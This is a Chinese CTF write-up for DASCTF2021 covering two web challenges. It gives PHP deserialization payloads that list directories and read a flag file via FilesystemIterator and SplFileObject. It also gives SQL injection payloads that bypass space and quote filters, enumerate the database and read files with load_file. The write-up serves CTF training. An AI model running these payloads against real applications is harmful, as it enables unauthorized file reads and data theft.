补发WP

ez_serialize

源码

<?php
error_reporting(0);
highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __construct(){$this->class = "B";$this->para = "ctfer";echo new  $this->class ($this->para);}public function __wakeup(){$this->check = new C;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new  $this->class ($this->para);           //关键,触发点}elsedie('bad hacker~');}}
class B{var $a;public function __construct($a){$this->a = $a;echo ("hello ".$this->a);}
}
class C{function vaild($code){$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';if (preg_match($pattern, $code)){return false;}elsereturn true;}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
else{$a=new A;}

提取简化

<?php
error_reporting(0);
highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __wakeup(){$this->check = new C;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new  $this->class ($this->para);          //关键,触发点,能够创建指定类对象}}}

核心代码可以通过拼接调用任意类方法
FilesystemIterator:指定目录的迭代器
SplFileObject:获取指定目录下的所有文件,指定文件时通过返回值可以读取文件内容

构造序列化

<?php
class A{public $class='FilesystemIterator';public $para='./';public $check;
}
$payload = new A();
echo serialize($payload);
?>//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}

显示文件夹/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE

<?php
class A{public $class='FilesystemIterator';public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/`';public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:36:"./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/`";s:5:"check";N;}

无显示,根据文件夹名猜测此文件夹为最底层,其下包含flag文件,直接采用:

<?php
class A{public $class='SplFileObject';public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:43:"./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}

BestDB

$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";

刚开始做感觉是个极其常规的SQL,过滤了空格和单引号

' '   ->   "   "
[空格]  ->   /**/

直到正常爆库到最后,发现是读文件

1"/**/Union/**/seLect/**/1,database(),3;#1"/**/Union/**/seLect/**/1,group_concat(schema_name),3/**/from/**/information_schema.schemata%23
information_schema,mysql,performance_schema,sys,users1"/**/Union/**/seLect/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/wHere/**/table_schema="users"%23
f1agdas,users1"/**/Union/**/seLect/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/wHere/**/table_schema="f1agdas"%23
id,f1agdas1"/**/Union/**/seLect/**/1,group_concat(f1agdas),3/**/from/**/f1agdas%23
flag.txt1"/**/Union/**/seLect/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/wHere/**/table_schema="users"%23
id,f1agdas,id,username,password1"/**/Union/**/seLect/**/1,group_concat(f1agdas),3/**/from/**/users%23
//这里不知道为什么会无回显,明明上面那个分支使用了相同的字段名,但是这里却不行,用ord()做了测试,发现并没有对回显过滤

爆第二分支到一半才反应过来是读文件,开始

1"/**/Union/**/seLect/**/1,load_file("/flag.txt"),3/**/from/**/users%2

forbidden!!!!!

怀疑过滤了flag,用十六进制尝试,

/flag.txt -->
2f666c61672e747874 -->
0x2f666c61672e747874/flag -->
2f666c6167  -->
0x2f666c6167
//提示。。。,说好的.txt呢

最终payload

1"/**/Union/**/seLect/**/1,load_file(0x2f666c6167),3/**/from/**/users%2

签到

异世相遇,尽享美味,安恒赛高

调查问卷

有手就行

【WP】DASCTF2021相关推荐

  1. 【WP】hgame2023 week4 Pwn

    [WP]hgame2023 week4 Pwn without_hook libc2.36的版本,没有__free_hook和__malloc_hook这种hook函数,这里使用打_IO_list_a ...

  2. 【wp】ZJCTF-我的方便面没有调料包战队

    [wp]ZJCTF-我的方便面没有调料包战队 一.战队信息 名称:我的方便面没有调料包 排名:22(20) 二.解题情况 共解出8道 三.解题过程 Web 远古特性 使用%0a换行,再读取根目录文件 ...

  3. 【WP】Chrome主题diy

    经常使用的浏览器是chrome,但是在Chrome网上应用店(https://chrome.google.com/webstore/category/themes)下载安装的主题都不是很喜欢,故找了一 ...

  4. 【WP】2021虎符

    签到 原理 原型为PHP官方GIT服务器近日被植入的后门. zval *enc;// 检测user_agentt if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SER ...

  5. 【wp】i春秋百度杯CTF比赛2016年12月场writeup

    |@第一场 |-----@传说中的签到题·进阶篇 |-----@福尔摩斯 |-----@+ -- + |@第二场 |-----@一个十六岁的少年 |-----@藏在邮件头里的秘密 |-----@吃货 ...

  6. 【STM8】外挂存储器W25Q16

    好像有几张图片被强制缩小了?看到这篇博客的人先对你们说声抱歉,我不知道怎么设置 文字就可以很长(文章宽度的全部),图片就只有文章宽度的2/3宽度 开新分页应该就是原始尺寸了,这点还是和大家说抱歉... ...

  7. 【Diary】2023·七月

    日期 日常事件 其他事件 7.1.土 琐碎的一天1 [六月专注汇总]2 7.2.日 微不足道的一天3 <c-p>5792-5796 7.3.月 详见<c-p>第5801页 &l ...

  8. 【IDF】古老的邮件编码

    [题目链接] 古老的邮件编码 [WP] 古老的邮件编码WP [Tricks] 直接全部解码显示格式不正确: 一行一行解码只能看见flag格式的后半部分: 从第二行逗号处开始解码得到flag. [心得] ...

  9. 【Diary】2023·July

    日期 日常事件 其他事件 7.1.土 琐碎的一天1 [六月专注汇总]2 7.2.日 微不足道的一天3 <c-p>5792-5796 7.3.月 详见<c-p>第5801页 &l ...

最新文章

  1. 2010年第一届蓝桥杯省赛 —— 第二题
  2. java redis 流水线,Redis系列(1) —— 流水线
  3. python单元测试断言_Python单元测试框架之pytest -- 断言-阿里云开发者社区
  4. 160308_Helloworld_Console Application
  5. 上百篇论文概览『负采样方法』的前世今生
  6. 【渝粤教育】21秋期末考试市场营销10256k2
  7. Oracle多层ifend嵌套,Excel IF函数以及IF多层嵌套如何使用,看完你就知道了
  8. JAVA中rpm什么意思,RPM常用命令介绍
  9. 真惭愧--连这样的小事都没有坚持下来
  10. 计算机老师任课教师寄语,任课老师新学期寄语
  11. 7.25 1figting!
  12. 经超计算机求职电视剧,经超电影,电视剧全集_经超影视作品大全推荐 - 剧知晓...
  13. uC/Modbus 用户手册——第一节
  14. 【华为OD机试 2023】 最多获得的短信条数/云短信平台优惠活动(C++ Java JavaScript Python)
  15. comsol圆柱形永磁体_基于COMSOL Multiphysics的磁场仿真分析
  16. hadoop重命名文件_hadoop HDFS常用文件操作命令
  17. 苹果手机圆圈在哪里设置_不知道苹果手机录音在哪里?那你就落伍了
  18. php删除管理员,WordPress 移除管理员后台添加用户权限
  19. 软件测试的软件资源,软件测试都会都用到哪些工具?
  20. spss modeler建模3

热门文章

  1. 在Mac终端使用unrar和rar 解压和压缩软件
  2. 2021-08-01 大数据岗位入职系列 前传:转战大数据
  3. 谷歌、Facebook等大公司都用什么语言?一张图带你看懂!
  4. URP渲染管线初步解析
  5. 从与HBO美女工程师交谈看开发者的未来
  6. cfa考试用计算机,CFA考试计算器的三种高频用法!
  7. 2.cost function损失函数
  8. spring中bean初始化顺序
  9. 东北大学操作系统实验三详解
  10. 科达视频会议系统应用济南自来水公司